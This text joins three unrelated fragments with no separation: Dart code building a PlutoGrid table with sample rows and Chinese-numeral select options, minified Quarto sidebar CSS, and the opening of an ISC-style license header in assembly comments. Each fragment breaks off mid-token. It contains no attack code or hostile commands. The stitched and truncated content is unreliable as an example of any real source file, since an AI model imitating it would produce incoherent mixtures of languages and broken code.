            '四',
            '五',
            '六',
            '七',
            '八',
            '九',
          ],
          enableColumnFilter: true,
        ),
      ),
    ]);

    rows.addAll([
      PlutoRow(
        cells: {
          'select_a': PlutoCell(value: 'One'),
          'select_b': PlutoCell(value: 'Saturn'),
          'select_c': PlutoCell(value: '100.001'),
          'select_d': PlutoCell(value: '五'),
        },
      ),
      PlutoRow(
        cells: {
          'select_a': PlutoCell(value: 'Two'),
          'select_b': PlutoCell(value: 'Pluto'),
          'select_c': PlutoCell(value: '9.01'),
          'select_d': PlutoCell(value: '八'),
        },
      ),
      PlutoRow(
        cells: {
          'select_a': PlutoCell(value: 'Three'),
          'select_b': PlutoCell(value: 'Mars'),
          'select_c': PlutoCell(value: '30.02'),
          'selec


border-bottom:none}.sidebar .quarto-alternate-formats a,.sidebar .quarto-alternate-notebooks a{text-decoration:none}.sidebar .quarto-alternate-formats a:hover,.sidebar .quarto-alternate-notebooks a:hover{color:#0d6efd}.sidebar .quarto-alternate-notebooks h2,.sidebar .quarto-alternate-notebooks .h2,.sidebar .quarto-alternate-formats h2,.sidebar .quarto-alternate-formats .h2,.sidebar nav[role=doc-toc]>h2,.sidebar nav[role=doc-toc]>.h2{font-size:.875rem;font-weight:400;margin-bottom:.5rem;margin-top:.3rem;font-family:inherit;border-bottom:0;padding-bottom:0;padding-top:0px}.sidebar .quarto-alternate-notebooks h2,.sidebar .quarto-alternate-notebooks .h2,.sidebar .quarto-alternate-formats h2,.sidebar .quarto-alternate-formats .h2{margin-top:1rem}.sidebar nav[role=doc-toc]>ul a{border-left:1px solid #e9ecef;padding-left:.6rem}.sidebar .quarto-alternate-notebooks h2>ul a,.sidebar .quarto-alternate-notebooks .h2>ul a,.sidebar .quarto-alternate-formats h2>ul a,.sidebar .quarto-alternate-formats .h2>ul a{border-left:none;padding-left:.6rem}.sidebar .quarto-alternate-notebooks ul a:empty,.sidebar .quarto-alternate-formats ul a:empty,.sidebar nav[role=doc-toc]>ul a:empty{display:none}.sidebar .quarto-alternate-notebooks ul,.sidebar .quarto-alternate-formats ul,.sidebar nav[role=doc-toc] ul{padding-left:0;list-style:none;font-size:.875rem;font-weight:300}.sidebar .quarto-alternate-notebooks ul li a,.sidebar .quarto-alternate-formats ul li a,.sidebar nav[role=doc-toc]>ul li a{line-height:1.1rem;padding-bottom:.2rem;padding-top:.2rem;color:inherit}.sidebar nav[role=doc-toc] ul>li>ul>li>a{padding-left:1.2em}.sidebar nav[role=doc-toc] ul>li>ul>li>ul>li>a{padding-left:2.4em}.sidebar nav[role=doc-toc] ul>li>ul>li>ul>li>ul>li>a{padding-left:3.6em}.sidebar nav[role=doc-toc] ul>li>ul>li>ul>li>ul>li>ul>li>a{padding-left:4.8em}.sidebar nav[role=doc-toc] ul>li>ul>li>ul>li>ul>li>ul>li>ul>li>a{padding-left:6em}.sidebar nav[role=doc-toc] ul>li>a.active,.sidebar nav[role=doc-toc] ul>li>ul>li>a.active{border-left:1px solid #0d6efd;color:#0d6efd !important}.sidebar nav[role=doc-toc] ul>li>a:hover,.sidebar nav[role=doc-toc] ul>li>ul>li>a:hover{color:#0d6efd !important}kbd,.kbd{color:#212529;background-color:#f8f9fa;border:1px solid;border-radius:5px;border-color:#dee2e6}div.hanging-indent{margin-left:1em;text-indent:-1


;
; Copyright (c) 2008 James Molloy, James Pritchett, Jörg Pfähler, Matthew Iselin
;
; Permission to use, copy, modify, and distribute this software for any
; purpose with or without fee is hereby granted, provided that the above
; copyright notice and this permission notice appear in all copies.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQU